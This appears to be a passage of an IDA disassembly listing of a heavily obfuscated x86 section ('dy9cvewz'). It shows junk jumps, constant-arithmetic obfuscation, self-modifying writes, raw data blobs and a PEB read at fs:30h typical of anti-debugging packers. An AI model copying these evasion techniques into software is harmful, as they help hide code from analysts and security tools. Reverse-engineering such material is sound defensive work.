; END OF FUNCTION CHUNK	FOR sub_488AE9
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_48BF06:				; CODE XREF: dy9cvewz:loc_48C3E3j
		jl	loc_48C9B6
		jmp	near ptr dword_487430+0Ch
; ---------------------------------------------------------------------------
		align 2
		xor	ecx, esi
		push	ecx
		jmp	loc_48C792
; ---------------------------------------------------------------------------
		dw 0E900h
		dd 0FFFFD04Ah, 0B7BA6800h, 87E90048h, 0FFFFF8h,	0C7E9FD3Bh
		dd 0C7FFFFE7h, 642EF045h, 0C0336C6Ch, 68F44589h, 48783Ah
		dd 0FFB8DCE9h, 0BF0000FFh, 588C6476h, 0FFDE07E9h, 4875BFFh
		dd 14875824h, 0D60FE924h, 0FFFFh, 0FF243487h, 45B0C015h
		dd 0E488E800h, 0FFFFh, 0E804C483h, 0FFFFC143h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AEE2

loc_48BF7C:				; CODE XREF: sub_48AEE2+Dj
		jmp	nullsub_560
; END OF FUNCTION CHUNK	FOR sub_48AEE2
; ---------------------------------------------------------------------------
		db 2 dup(0), 1Bh
; ---------------------------------------------------------------------------
		xlat
		jmp	sub_48BD2A
; ---------------------------------------------------------------------------
		dw 0F00h
		dd 0FFE1C982h, 0E521E9FFh, 0F88BFFFFh, 0A5689C58h, 5853E3E9h
		dd 65AAE081h, 0C5E9C1C2h, 0FFFFBDh, 0B8BF8C0Fh,	35E9FFFFh
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_488895

loc_48BFB7:				; CODE XREF: sub_488895+Fj
		jmp	nullsub_437
; END OF FUNCTION CHUNK	FOR sub_488895
; ---------------------------------------------------------------------------
		dd 0E890000h, 8B3C0F7h,	0F2E9E007h, 0FFFFFAh, 2B40D081h
		dd 6AE9D5D4h, 0FFFFEBh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_488AE9

loc_48BFD8:				; CODE XREF: sub_488AE9+3416j
		call	sub_4889E8
; END OF FUNCTION CHUNK	FOR sub_488AE9
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48B8DE

loc_48BFDF:				; CODE XREF: sub_48B8DE+Aj
		jmp	loc_488727
; END OF FUNCTION CHUNK	FOR sub_48B8DE
; ---------------------------------------------------------------------------
byte_48BFE4	db 87h			; DATA XREF: dy9cvewz:00487DC6w
		db 4, 24h
byte_48BFE7	db 58h			; DATA XREF: dy9cvewz:00487DCDw
byte_48BFE8	db 0E8h			; DATA XREF: dy9cvewz:00487DD4w
		db 93h,	0E5h, 0FFh
		dd 870000FFh, 1487243Ch, 0AE3B6824h, 17E90048h,	0FFFFEFh
; ---------------------------------------------------------------------------

loc_48C000:				; CODE XREF: dy9cvewz:0048A3A6j
					; DATA XREF: sub_48A393+9o
		pop	ecx
		pushf
		push	offset word_48BB62
		jmp	near ptr byte_4877C1+2
; ---------------------------------------------------------------------------
		dd 0DDDEBD00h
; ---------------------------------------------------------------------------
		movs	dword ptr es:[edi], dword ptr fs:[esi]

; =============== S U B	R O U T	I N E =======================================



sub_48C012	proc near		; CODE XREF: sub_487CB5+1CE9p

; FUNCTION CHUNK AT 0048A9B2 SIZE 00000015 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	ebx
		call	loc_4896BE

loc_48C01C:				; CODE XREF: sub_48CA79-192j
		jmp	loc_48A9B2
sub_48C012	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2
		dw 0FB3Bh
		dd 0DA2AE95Bh, 0FFFFh
; ---------------------------------------------------------------------------

locret_48C02C:				; CODE XREF: dy9cvewz:004882D2j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0FFFFDE6Ah, 0FFC90AE9h, 0C10000FFh, 685703C3h, 0B3718BACh
		dd 36EF815Fh, 0C1B277ABh, 0C7810FC7h, 100DAA70h, 0FFEA88E9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48C17D

loc_48C05B:				; CODE XREF: sub_48C17D+Fj
		push	8927223Dh
		xchg	edx, [esp+4+var_4]
		mov	edi, edx
		pop	edx
		jmp	near ptr dword_487FB4+1
; END OF FUNCTION CHUNK	FOR sub_48C17D
; ---------------------------------------------------------------------------
		db 81h
		dd 48BBCEE9h, 39C18111h, 9DBB770Ch
		db 8Bh,	9
word_48C07A	dw 0E81Bh		; DATA XREF: dy9cvewz:0048AC6Ao
		dd 0FFFFDB07h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48B3BA

loc_48C081:				; CODE XREF: sub_48B3BA:loc_489035j
		pop	esi
		add	esi, 0BC1661DAh
		sub	esi, 0EE4653B1h
		rol	esi, 0Eh
		xor	esi, 0D89534AEh
		add	eax, esi
		pop	esi
		push	edx
		jmp	loc_48A32F
; END OF FUNCTION CHUNK	FOR sub_48B3BA
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

locret_48C0A1:				; CODE XREF: dy9cvewz:00489A95j
		retn
; ---------------------------------------------------------------------------
		dw 5100h
		dd 0FFDD67E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_48CB03

loc_48C0AA:				; CODE XREF: sub_48CB03+Ej
		jl	loc_48C733

loc_48C0B0:				; CODE XREF: sub_48CAB3+Fj
		jmp	nullsub_558
; END OF FUNCTION CHUNK	FOR sub_48CB03
; ---------------------------------------------------------------------------
		db 2 dup(0), 9Dh
; ---------------------------------------------------------------------------
		ror	eax, 4
		mov	ebx, eax
		jmp	loc_48C733
; ---------------------------------------------------------------------------
		dw 487h
		dd 242C8724h, 0E95DC58Bh, 0FFFFD5F4h
		db 0
; ---------------------------------------------------------------------------

loc_48C0D1:				; CODE XREF: dy9cvewz:loc_4875E0j
		pop	eax
		add	eax, 0D67488CFh
		rol	eax, 1Ah
		or	eax, 0C2BB78B5h
		sub	eax, 0F962D180h
		call	sub_48B32E
; ---------------------------------------------------------------------------
		dd 0A4E90000h, 0FFFFD3h
		db 0
; ---------------------------------------------------------------------------

locret_48C0F5:				; CODE XREF: dy9cvewz:loc_48AE9Fj
		retn
; ---------------------------------------------------------------------------
		dw 6852h
; ---------------------------------------------------------------------------
		mov	ebx, [ecx-7EA54AFCh]
		retf	812Bh
; ---------------------------------------------------------------------------
		db 0E4h, 55h, 0E9h
		dd 0FFFFF41Ch
; ---------------------------------------------------------------------------

loc_48C108:				; CODE XREF: dy9cvewz:0048C1E6j
		push	488B54h
		jmp	near ptr dword_488EE0+18h
; ---------------------------------------------------------------------------
		dw 1B00h
		dd 0C9CEE9FEh, 9900FFFFh, 48BF1B68h, 0D511E900h, 8100FFFFh
		dd 3353FFE8h, 0F4820F4Bh, 0FFFFE6h, 0FFDD0DE9h,	0D18100FFh
		dd 7E62D0D4h, 0FFE6DBE9h, 0C8E081FFh, 0E97777C9h, 0FFFFC58Dh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AFE5

loc_48C150:				; CODE XREF: sub_48AFE5-1DF8j
		mov	edi, ecx
		xchg	edi, [esp+0]
		push	eax
		mov	eax, offset loc_48BD34
		jmp	loc_48A026
; END OF FUNCTION CHUNK	FOR sub_48AFE5
; ---------------------------------------------------------------------------
		dd 34870000h, 0C1855E24h, 5843C59h, 68FFFFD6h, 0E301AD9Eh
		dd 8BE95058h, 0FFFFEEh
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_48C17D	proc near		; CODE XREF: dy9cvewz:004890D0j
					; dy9cvewz:00489219p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0048C05B SIZE 00000010 BYTES

		xchg	eax, [esp+0]
		xchg	edx, [esp+0]
		mov	eax, edx
		pop	edx
		push	edx
		mov	edx, edi
		xchg	edx, [esp+0]
		jmp	loc_48C05B
sub_48C17D	endp

; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
		dd 0FFCF1E8Eh, 0E9DA85FFh, 0FFFFEB5Bh, 0C518850Fh, 0FFFFh
		dd 0E9D8139Dh, 0FFFFC50Dh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48899B

loc_48C1B3:				; CODE XREF: sub_48899B+15AAj
		jmp	nullsub_546
; END OF FUNCTION CHUNK	FOR sub_48899B
; ---------------------------------------------------------------------------
		dd 0E9C88700h, 0FFFFDF07h
		db 0
byte_48C1C1	db 68h,	8Fh, 0B5h	; DATA XREF: dy9cvewz:0048ACB2o
; ---------------------------------------------------------------------------
		dec	eax
		add	cl, ch
		db	3Eh
		mov	ah, 0FFh
		inc	dword ptr [eax]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_568. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0), 0E9h
		dd 0FFFFD04Ch
; ---------------------------------------------------------------------------

loc_48C1D4:				; CODE XREF: dy9cvewz:0048AA9Ej
		xor	ebx, 60274C49h
		and	ebx, 1823AFB4h
		add	ebx, 4770CDh
		jmp	loc_48C108
; ---------------------------------------------------------------------------
		align 4
		or	eax, 42E6075Eh
		xchg	edi, [esp]
		pop	edi
		add	eax, 35A6A829h
		jmp	loc_487FE2
; ---------------------------------------------------------------------------
byte_48C201	db 0C6h, 6, 8Bh		; DATA XREF: sub_487CB5:loc_48A8AAo
		dd 18C1C15Eh, 6940E981h, 0F98129E9h, 0A97016FAh, 0FFE0EEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_48C219:				; CODE XREF: dy9cvewz:00488D61j
		mov	byte ptr [ecx],	64h
		pop	ecx
		push	offset word_48B792
		jmp	near ptr dword_488370+57h
; ---------------------------------------------------------------------------
		align 4
		dd 0EB8D0F00h, 0E9FFFFC4h, 0FFFFD454h, 0F2870000h, 0CA57C781h
		dd 0FD0306DFh, 56586856h, 0E95E7C53h, 0FFFFE97Ch
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_48C24E	proc near		; CODE XREF: sub_48BDD1:loc_48A68Dp

; FUNCTION CHUNK AT 004884AB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0048870A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048AD4D SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	ecx
		mov	ecx, offset loc_48937D
		jmp	loc_48870A
sub_48C24E	endp

; ---------------------------------------------------------------------------
		align 2

loc_48C25E:				; CODE XREF: dy9cvewz:00489FCEj
		js	loc_48A1EB
		xchg	ecx, [esp]
		pop	ecx
		jnz	near ptr byte_488459+2
		mov	eax, large fs:30h
		push	ecx
		call	sub_48C5B9
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_48C27C	proc near		; CODE XREF: dy9cvewz:00487641p
		xchg	eax, [esp+0]
		pop	eax
		add	eax, 0CCE5BD3Eh
		push	esi
		mov	esi, eax
		xchg	esi, [esp+0]
		call	sub_48B8AB

locret_48C291:				; CODE XREF: dy9cvewz:0048B064j
		retn
sub_48C27C	endp

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_48C293:				; CODE XREF: dy9cvewz:loc_487834j
		push	offset loc_48B580
		jmp	locret_487CE7
; ---------------------------------------------------------------------------
		align 2
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		mov	esi, edi
		xchg	esi, [esp]
		mov	edi, ecx
		adc	bh, [esp]
		jmp	loc_487CF4
; ---------------------------------------------------------------------------
		dd 0DD26860Fh, 0B2E9FFFFh, 0FFFFDAh, 0C55C820Fh, 5DE9FFFFh
		dd 1, 5B241C87h, 0F768992Ch, 5A3734F0h,	0FFB251E9h, 0F0000FFh
		dd 0FFD43A83h, 62C281FFh, 0E9107A70h, 0FFFFBE5Ah, 0E85B0000h
		dd 0FFFFE236h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_48C2F6:				; CODE XREF: dy9cvewz:00489FF5j
		jmp	near ptr loc_48C825+1
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------

loc_48C2FD:				; CODE XREF: dy9cvewz:00489297j
		jmp	loc_489AC4
; ---------------------------------------------------------------------------
		dw 74E9h
		dd 0FFFFF2h, 0BE6FE900h, 0FFFFh
; ---------------------------------------------------------------------------

loc_48C310:				; DATA XREF: dy9cvewz:00489716o
		mov	dword ptr [ecx], 10001h
		lea	eax, loc_488DD7

loc_48C31C:				; CODE XREF: dy9cvewz:0048AF64j
		push	esi
		push	0ED9AF867h
		xchg	ebx, [esp]
		mov	esi, ebx
		pop	ebx
		jmp	near ptr dword_489944+25h
; ---------------------------------------------------------------------------
		align 2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_559. PRESS KEYPAD	"+" TO EXPAND]
		align 10h

loc_48C330:				; CODE XREF: dy9cvewz:00487A86j
		jmp	loc_48C6F6
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_48C424

loc_48C336:				; CODE XREF: sub_48C424:loc_48888Ej
		push	offset byte_489AE5
		jmp	nullsub_438
; END OF FUNCTION CHUNK	FOR sub_48C424
; ---------------------------------------------------------------------------
		dd 64850F00h, 81FFFFF0h, 281679C7h, 1A689D21h, 0E9004883h
		dd 0FFFFD080h
; ---------------------------------------------------------------------------

loc_48C358:				; CODE XREF: dy9cvewz:0048BBF4j
		add	edi, 3180904Ah
		xor	edi, 0C09BCB4h
		test	ebx, edi
		pop	edi
		jmp	near ptr dword_488994+1
; ---------------------------------------------------------------------------
		dd 0F00C300h, 0FFF95680h, 241487FFh, 8B243C87h,	3C65FD7h
		dd 94E95B03h, 0FFFFEDh
; ---------------------------------------------------------------------------

loc_48C388:				; CODE XREF: dy9cvewz:loc_489200j
		jp	loc_48AE10

loc_48C38E:				; CODE XREF: dy9cvewz:0048A4C1p
		call	sub_48AAB3
; ---------------------------------------------------------------------------
		db 0
		db 0
; ---------------------------------------------------------------------------

loc_48C395:				; DATA XREF: dy9cvewz:00489FC0o
		push	ecx
		push	780C21D5h
		pop	ecx
		xor	ecx, 0F9CF8C1Ch
		add	ecx, 7E3C5238h
		test	eax, ecx
		pop	ecx
		jmp	loc_48C633
; ---------------------------------------------------------------------------
		dd 0D7E1820Fh, 0FB81FFFFh, 0F97D17BFh, 0FFDFCCE9h
		db 0FFh, 0
word_48C3C2	dw 0C103h		; DATA XREF: sub_48C5B9-2D63o
		dd 87FE8B57h, 17BE243Ch, 0E90048A1h, 0FFFFF848h, 58B6400h
		dd 30h,	0FFBE65E8h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_48C3E3:				; CODE XREF: dy9cvewz:0048A7D4j
		jmp	loc_48BF06
; ---------------------------------------------------------------------------
		dd 0FFE731E9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_48C3EF:				; CODE XREF: dy9cvewz:00487E2Fj
		jmp	locret_48B5B7
; ---------------------------------------------------------------------------
		db 2 dup(0)
word_48C3F6	dw 2C6h			; DATA XREF: dy9cvewz:loc_48C6F6o
		dd 4875A87h, 58F88B24h,	0FFE47DE9h, 8B50C3FFh, 240487C1h
		dd 0FFC17DE9h, 0FE3B00FFh, 694E9h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48A611

loc_48C419:				; CODE XREF: sub_48A611:loc_48B52Aj
		push	offset loc_48CADA
		jmp	nullsub_530
; END OF FUNCTION CHUNK	FOR sub_48A611
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_48C424	proc near		; CODE XREF: sub_48A700-1FFDp

; FUNCTION CHUNK AT 0048888E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048C336 SIZE 0000000A BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	eax, 0BC688F0Ah
		add	eax, 4397710Eh
		mov	eax, [eax]
		popf
		jmp	loc_48888E
sub_48C424	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48B3BA

loc_48C43D:				; CODE XREF: sub_48B3BA:loc_48A32Fj
					; DATA XREF: sub_48B3BA:loc_488492o
		pushf
		push	edi
		mov	edi, offset word_488F62

loc_48C444:				; CODE XREF: dy9cvewz:0048C845j
		jmp	loc_4896DC
; END OF FUNCTION CHUNK	FOR sub_48B3BA
; ---------------------------------------------------------------------------
		db 81h,	0C0h, 95h
		dd 375C759h, 74C081C5h,	8B0B40A8h, 0DFDFE900h, 0CB2BFFFFh
		dd 360860Fh, 0A9E90000h, 0FFFFF3h, 0A5E95800h, 6
; ---------------------------------------------------------------------------

locret_48C474:				; CODE XREF: dy9cvewz:loc_48BE1Aj
		retn
; ---------------------------------------------------------------------------
		align 2

loc_48C476:				; CODE XREF: dy9cvewz:0048A854j
		jmp	near ptr word_489F0E+1
; ---------------------------------------------------------------------------
		align 4
		dd 0F5C48D0Fh, 0FFFFh, 0FFC850E9h, 0F8B9DFFh, 0A739FA81h
		dd 4DE9D2B8h, 0FFFFB0h,	48BC8768h, 0DE40E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_48C4A2:				; CODE XREF: dy9cvewz:00487CD5j
		pop	ebp
		push	ecx
		push	146F933Fh
		pop	ecx
		rol	ecx, 0Ch
		or	ecx, 921B91C9h
		add	ecx, 50C8373h
		jmp	loc_48A0A5
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_48A095

loc_48C4C0:				; CODE XREF: sub_48A095-261Ej
		jb	loc_487774
		jmp	nullsub_542
; END OF FUNCTION CHUNK	FOR sub_48A095
; ---------------------------------------------------------------------------
		align 4
		dd 0E9E88B00h, 0FFFFB297h, 0FB819D00h, 3903091Eh, 0FFFE8EE9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48958B

loc_48C4E3:				; CODE XREF: sub_48958B+Bj
		add	ecx, 1448F8C0h
		sub	ecx, 77DEB454h
		rol	ecx, 16h
		sub	ecx, 0E29D37B8h
		add	ecx, 6DA58863h
		add	esi, ecx
		pop	ecx
		mov	[esi], eax
		jmp	loc_48B808
; END OF FUNCTION CHUNK	FOR sub_48958B
; ---------------------------------------------------------------------------
		db 0
byte_48C509	db 87h,	1Ch, 24h	; DATA XREF: sub_489B1A+39o
		dd 8B5BCB8Bh
		db 0, 9, 0C0h
byte_48C513	db 0F0h			; DATA XREF: sub_489347:loc_487D9Eo
		dd 0FFC8BE84h, 58F64FFh, 0
		dd 0FFFA4FE9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BB9F

loc_48C525:				; CODE XREF: sub_48BB9F:loc_48AB3Bj
		xor	edx, eax
		push	offset dword_48A1D4
		jmp	nullsub_541
; END OF FUNCTION CHUNK	FOR sub_48BB9F
; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_48C532	proc near		; CODE XREF: sub_489688:loc_489822p
					; dy9cvewz:0048B0B6j
		xchg	ecx, [esp+0]
		pop	ecx
		push	ebx
		mov	ebx, ecx
		xchg	ebx, [esp+0]
		push	4BD36604h
		pop	ecx
		call	sub_489C0F
		jmp	nullsub_440
sub_48C532	endp

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_48C54E:				; CODE XREF: dy9cvewz:0048AF7Cj
		jmp	loc_48B0E7
; ---------------------------------------------------------------------------

loc_48C553:				; CODE XREF: dy9cvewz:0048BA67j
		and	edi, 2539FC45h
		sub	edi, 2444B20Ah
		and	edi, 7278BBACh
		jns	near ptr dword_4882E8+0Bh
		add	[ebp-0B651603h], al
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
		push	487561h
		jmp	locret_48C5D0
; ---------------------------------------------------------------------------
		align 10h
		dd 487C58Bh, 0F71FE824h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------

locret_48C58B:				; CODE XREF: dy9cvewz:0048ACFBj
					; dy9cvewz:loc_48B44Bj
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_48C58E	proc near		; CODE XREF: dy9cvewz:0048A66Ej
					; dy9cvewz:0048A87Cp
		xchg	esi, [esp+0]
		pop	esi
		push	6DBF6E4Ah
		pop	esi
		jmp	loc_48B248
sub_48C58E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 0FFF2BEE9h, 570000FFh, 48C2A8BFh, 0D50BE900h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------

loc_48C5B3:				; CODE XREF: dy9cvewz:0048841Fj
		jg	near ptr loc_488790+1

; =============== S U B	R O U T	I N E =======================================



sub_48C5B9	proc near		; CODE XREF: dy9cvewz:0048C276p

; FUNCTION CHUNK AT 0048887E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00489841 SIZE 0000001F BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	0B5928137h
		pop	ecx
		sub	ecx, 73326FDh
		jmp	loc_489841
sub_48C5B9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

locret_48C5D0:				; CODE XREF: dy9cvewz:0048C579j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 87h
		dd 505B241Ch, 58C7C881h, 34E98DEEh, 0FFFFD0h, 5A8702C6h
		dd 0BEDBE85Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48899B

loc_48C5EE:				; CODE XREF: sub_48899B+2FF8j
		call	sub_48B4EE

loc_48C5F3:				; CODE XREF: dy9cvewz:0048B5A7j
		jmp	loc_48758D
; END OF FUNCTION CHUNK	FOR sub_48899B
; ---------------------------------------------------------------------------
		dd 0E9FD1B00h, 0FFFFD3F8h, 0F281C503h, 9F24023Ah, 3C87C203h
		dd 0E9D78B24h, 0FFFFDB7Ch
; ---------------------------------------------------------------------------

loc_48C614:				; DATA XREF: sub_48B4EE+9o
		mov	byte ptr [edx],	3
		pop	edx
		add	edi, 0CDEF3ED7h
		or	edi, 7797EFE6h
		jmp	loc_489827
; ---------------------------------------------------------------------------
		db 0C1h, 0CFh, 3
		dd 0FFBE31E8h
		db 0FFh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_553. PRESS KEYPAD	"+" TO EXPAND]
		db 0
; ---------------------------------------------------------------------------

loc_48C633:				; CODE XREF: dy9cvewz:0048C3ABj
		jmp	near ptr dword_4879D0+5Ah
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_48C639:				; CODE XREF: dy9cvewz:00488A7Bj
		jmp	near ptr byte_4875CD+2
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_489347

loc_48C63F:				; CODE XREF: sub_489347-15A4j
		jmp	loc_48B9AE
; END OF FUNCTION CHUNK	FOR sub_489347
; ---------------------------------------------------------------------------
		dd 0EE73820Fh, 0DCE9FFFFh
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_48C64F:				; CODE XREF: dy9cvewz:00488A4Cj
		pop	eax
		sub	ebx, 276919EBh
		and	ebx, 0F9285AEFh
		add	ebx, 0A22F2ADFh
		xor	ebx, 0B22F3594h
		push	ebx
		mov	ebx, offset loc_4875B8
		jmp	near ptr loc_488B2B+1
; ---------------------------------------------------------------------------
		align 4
		mov	edi, [eax]
; START	OF FUNCTION CHUNK FOR sub_48AAB3

loc_48C676:				; CODE XREF: sub_48AAB3:loc_4874F5j
		jmp	loc_489D79
; END OF FUNCTION CHUNK	FOR sub_48AAB3
; ---------------------------------------------------------------------------
		align 4
		test	ebp, eax
		jmp	loc_48C9C9
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_487A52

loc_48C684:				; CODE XREF: sub_487A52:loc_48B466j
		pop	eax
		push	edi
		push	41536064h
		pop	edi
		jmp	loc_48B191
; END OF FUNCTION CHUNK	FOR sub_487A52
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48ADDF

loc_48C693:				; CODE XREF: sub_48ADDF:loc_48932Ej
		pop	ebx
		call	sub_489481
; END OF FUNCTION CHUNK	FOR sub_48ADDF

; =============== S U B	R O U T	I N E =======================================



sub_48C699	proc near		; DATA XREF: sub_48AAB3:loc_489C1Eo
		push	ebx
		push	0A5F460BBh
		push	offset loc_48A04D
		jmp	loc_48840A
sub_48C699	endp

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_489D5C

loc_48C6AB:				; CODE XREF: sub_489D5C:loc_48990Cj
		mov	byte ptr [ebx],	0C7h
		pop	ebx
		push	9433E3FDh
		pop	edi
		and	edi, 2F238EDBh
		add	edi, 0FC2520C1h
		jmp	near ptr dword_487EF8+88h
; END OF FUNCTION CHUNK	FOR sub_489D5C
; ---------------------------------------------------------------------------
		align 4
		mov	edi, edx
		xchg	edi, [esp]
		mov	edx, ebp
		push	eax
		jmp	loc_48C7A2
; ---------------------------------------------------------------------------
		db 0Fh,	8Ch, 0DEh
		dd 0E9FFFFB4h, 0FFFFFEF3h, 0C2810000h, 942EFF23h, 810FC2C1h
		dd 86C327F2h, 0E685E8E5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_48C6F6:				; CODE XREF: dy9cvewz:loc_48C330j
		push	offset word_48C3F6
		jmp	locret_48A378
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_487CB5

loc_48C701:				; CODE XREF: sub_487CB5+2818j
		jnz	loc_48B243
		jmp	loc_48BDBD
; END OF FUNCTION CHUNK	FOR sub_487CB5
; ---------------------------------------------------------------------------
		dd 0EE810000h, 7D691EC2h, 8118C6C1h, 0FED34CE6h, 2DC681C5h
		dd 393EEC00h, 0D5E92434h, 0FFFFE3h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48C92B

loc_48C72C:				; CODE XREF: sub_48C92B:loc_48C944j
		call	sub_48911F
; END OF FUNCTION CHUNK	FOR sub_48C92B
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48CB03

loc_48C733:				; CODE XREF: sub_48CB03:loc_48C0AAj
					; dy9cvewz:0048C0BDj
		add	edi, 0FDC26FE9h
		push	487AC0h
		jmp	loc_48B1BE
; END OF FUNCTION CHUNK	FOR sub_48CB03
; ---------------------------------------------------------------------------
		db 0E8h
		dd 0FFFFC47Fh
		db 0
; ---------------------------------------------------------------------------

loc_48C749:				; CODE XREF: dy9cvewz:00488A0Dj
		jmp	loc_4891C9
; ---------------------------------------------------------------------------
		align 10h

loc_48C750:				; DATA XREF: sub_48A8EA+1016o
		or	eax, eax

loc_48C752:				; CODE XREF: dy9cvewz:004889E2j
		jnz	loc_48C75F
		jmp	loc_48A65E
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_48C75F:				; CODE XREF: dy9cvewz:loc_48C752j
		mov	eax, [eax]
		or	eax, eax
		jmp	loc_489A65
; ---------------------------------------------------------------------------
		dd 0FFE775E8h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_48C76F:				; CODE XREF: dy9cvewz:004877DAj
		jmp	loc_48B632
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_48C776:				; CODE XREF: dy9cvewz:0048C89Aj
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 21E99C00h, 0FFFFC7h
; ---------------------------------------------------------------------------
		or	eax, esi

; =============== S U B	R O U T	I N E =======================================



sub_48C782	proc near		; CODE XREF: sub_48C84D-1D84p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00487B26 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00487E7E SIZE 00000021 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	eax
		mov	eax, esi
		xchg	eax, [esp+0]
		jmp	loc_487B26
sub_48C782	endp

; ---------------------------------------------------------------------------
		align 2

loc_48C792:				; CODE XREF: dy9cvewz:0048BF15j
		not	edx
		test	edi, ecx
		jmp	loc_48C9AF
; ---------------------------------------------------------------------------
		align 4
		dd 0FE608C0Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_48C7A2:				; CODE XREF: dy9cvewz:0048C6D0j
		jmp	near ptr dword_487EF8+45h
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFABFBh, 0FFC956E9h, 0FE0B00FFh, 42ECF681h, 0E2D159F3h
		dd 0E9004589h, 0FFFFFE3Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_48C7C6:				; CODE XREF: dy9cvewz:0048AA0Aj
		xchg	ebx, [esp]
		push	1C183EE7h
		push	ecx
		mov	ecx, offset byte_48C96C
		jmp	loc_487C22
; ---------------------------------------------------------------------------
		align 2
		dw 8B64h
		dd 3005h, 20C08300h, 0BAD2BA52h, 0CAE90048h, 3FFFFB8h
		dd 0D391E9FDh
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------

loc_48C7F7:				; CODE XREF: dy9cvewz:0048A5ECj
		push	906A04D7h
		pop	ecx
